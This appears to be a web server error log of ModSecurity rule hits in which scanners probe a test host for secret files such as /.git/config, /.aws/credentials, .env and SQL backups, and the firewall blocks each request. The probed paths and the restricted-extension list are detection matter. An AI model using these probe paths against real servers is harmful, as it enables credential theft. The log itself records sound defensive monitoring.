[Sun Jun 29 12:15:18.426128 2025] [:error] [pid 2967922] [client 198.55.98.210:56810] [client 198.55.98.210] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aGESNn3T5w8Ph4-X-hFFuAAAAAQ&quot;]
[Sun Jun 29 12:15:18.426304 2025] [:error] [pid 2967922] [client 198.55.98.210:56810] [client 198.55.98.210] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aGESNn3T5w8Ph4-X-hFFuAAAAAQ&quot;]
[Sun Jun 29 12:48:12.063103 2025] [:error] [pid 2968165] [client 77.90.153.170:37324] [client 77.90.153.170] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aGEZ7OU-dj-hWt1UAd7gVwAAAAU&quot;]
[Sun Jun 29 12:48:12.063392 2025] [:error] [pid 2968165] [client 77.90.153.170:37324] [client 77.90.153.170] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aGEZ7OU-dj-hWt1UAd7gVwAAAAU&quot;]
[Sun Jun 29 12:48:12.063556 2025] [:error] [pid 2968165] [client 77.90.153.170:37324] [client 77.90.153.170] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aGEZ7OU-dj-hWt1UAd7gVwAAAAU&quot;]
[Sun Jun 29 14:30:30.848427 2025] [:error] [pid 2968165] [client 51.89.79.132:58802] [client 51.89.79.132] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aGEx5uU-dj-hWt1UAd7gXQAAAAU&quot;]
[Sun Jun 29 14:30:30.848652 2025] [:error] [pid 2968165] [client 51.89.79.132:58802] [client 51.89.79.132] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aGEx5uU-dj-hWt1UAd7gXQAAAAU&quot;]
[Sun Jun 29 14:30:30.848840 2025] [:error] [pid 2968165] [client 51.89.79.132:58802] [client 51.89.79.132] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aGEx5uU-dj-hWt1UAd7gXQAAAAU&quot;]
[Sun Jun 29 20:12:56.758806 2025] [:error] [pid 3059540] [client 185.177.72.107:15396] [client 185.177.72.107] ModSecurity: Warning. Matched phrase &quot;.aws/config&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: .aws/config found within REQUEST_FILENAME: /.aws/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/config&quot;] [unique_id &quot;aGGCKHN4YZunzJSJCzJ6AgAAAAY&quot;]
[Sun Jun 29 20:12:56.759096 2025] [:error] [pid 3059540] [client 185.177.72.107:15396] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/config&quot;] [unique_id &quot;aGGCKHN4YZunzJSJCzJ6AgAAAAY&quot;]
[Sun Jun 29 20:12:56.759272 2025] [:error] [pid 3059540] [client 185.177.72.107:15396] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/config&quot;] [unique_id &quot;aGGCKHN4YZunzJSJCzJ6AgAAAAY&quot;]
[Sun Jun 29 20:12:56.811116 2025] [:error] [pid 3059540] [client 185.177.72.107:15396] [client 185.177.72.107] ModSecurity: Warning. Matched phrase &quot;.aws/credentials&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: .aws/credentials found within REQUEST_FILENAME: /.aws/credentials&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/credentials&quot;] [unique_id &quot;aGGCKHN4YZunzJSJCzJ6AwAAAAY&quot;]
[Sun Jun 29 20:12:56.811354 2025] [:error] [pid 3059540] [client 185.177.72.107:15396] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/credentials&quot;] [unique_id &quot;aGGCKHN4YZunzJSJCzJ6AwAAAAY&quot;]
[Sun Jun 29 20:12:56.811579 2025] [:error] [pid 3059540] [client 185.177.72.107:15396] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/credentials&quot;] [unique_id &quot;aGGCKHN4YZunzJSJCzJ6AwAAAAY&quot;]
[Sun Jun 29 20:13:01.864212 2025] [:error] [pid 3059540] [client 185.177.72.107:15396] [client 185.177.72.107] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.backup&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.backup&quot;] [unique_id &quot;aGGCLXN4YZunzJSJCzJ6FgAAAAY&quot;]
[Sun Jun 29 20:13:01.864761 2025] [:error] [pid 3059540] [client 185.177.72.107:15396] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.backup&quot;] [unique_id &quot;aGGCLXN4YZunzJSJCzJ6FgAAAAY&quot;]
[Sun Jun 29 20:13:01.865010 2025] [:error] [pid 3059540] [client 185.177.72.107:15396] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.backup&quot;] [unique_id &quot;aGGCLXN4YZunzJSJCzJ6FgAAAAY&quot;]
[Sun Jun 29 20:13:01.886898 2025] [:error] [pid 3059540] [client 185.177.72.107:15396] [client 185.177.72.107] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.sql&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.backup.sql&quot;] [unique_id &quot;aGGCLXN4YZunzJSJCzJ6FwAAAAY&quot;]
[Sun Jun 29 20:13:01.887237 2025] [:error] [pid 3059540] [client 185.177.72.107:15396] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.backup.sql&quot;] [unique_id &quot;aGGCLXN4YZunzJSJCzJ6FwAAAAY&quot;]
[Sun Jun 29 20:13:01.887415 2025] [:error] [pid 3059540] [client 185.177.72.107:15396] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.backup.sql&quot;] [unique_id &quot;aGGCLXN4YZunzJSJCzJ6FwAAAAY&quot;]
[Sun Jun 29 20:13:06.355598 2025] [:error] [pid 3059540] [client 185.177.72.107:15396] [client 185.177.72.107] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.sql&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.backup/db.sql&quot;] [unique_id &quot;aGGCMnN4YZunzJSJCzJ6GwAAAAY&quot;]
[Sun Jun 29 20:13:06.355950 2025] [:error] [pid 3059540] [client 185.177.72.107:15396] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.backup/db.sql&quot;] [unique_id &quot;aGGCMnN4YZunzJSJCzJ6GwAAAAY&quot;]
[Sun Jun 29 20:13:06.356129 2025] [:error] [pid 3059540] [client 185.177.72.107:15396] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.backup/db.sql&quot;] [unique_id &quot;aGGCMnN4YZunzJSJCzJ6GwAAAAY&quot;]
[Sun Jun 29 20:13:06.378214 2025] [:error] [pid 3059540] [client 185.177.72.107:15396] [client 185.177.72.107] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.sql&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.backup/mysql.sql&quot;] [unique_id &quot;aGGCMnN4YZunzJSJCzJ6HAAAAAY&quot;]
[Sun Jun 29 20:13:06.378607 2025] [:error] [pid 3059540] [client 185.177.72.107:15396] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.backup/mysql.sql&quot;] [unique_id &quot;aGGCMnN4YZunzJSJCzJ6HAAAAAY&quot;]
[Sun Jun 29 20:13:06.378810 2025] [:error] [pid 3059540] [client 185.177.72.107:15396] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.backup/mysql.sql&quot;] [unique_id &quot;aGGCMnN4YZunzJSJCzJ6HAAAAAY&quot;]
[Sun Jun 29 20:13:11.291836 2025] [:error] [pid 3059540] [client 185.177.72.107:15396] [client 185.177.72.107] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.cpanel/caches/config/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.cpanel/caches/config/.env&quot;] [unique_id &quot;aGGCN3N4YZunzJSJCzJ6IwAAAAY&quot;]
[Sun Jun 29 20:13:11.292086 2025] [:error] [pid 3059540] [client 185.177.72.107:15396] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.cpanel/caches/config/.env&quot;] [unique_id &quot;aGGCN3N4YZunzJSJCzJ6IwAAAAY&quot;]
[Sun Jun 29 20:13:11.292271 2025] [:error] [pid 3059540] [client 185.177.72.107:15396] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.cpanel/caches/config/.env&quot;] [unique_id &quot;aGGCN3N4YZunzJSJCzJ6IwAAAAY&quot;]
[Sun Jun 29 20:13:11.337297 2025] [:error] [pid 3059540] [client 185.177.72.107:15396] [client 185.177.72.107] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.database.bak&quot;] [unique_id &quot;aGGCN3N4YZunzJSJCzJ6JQAAAAY&quot;]
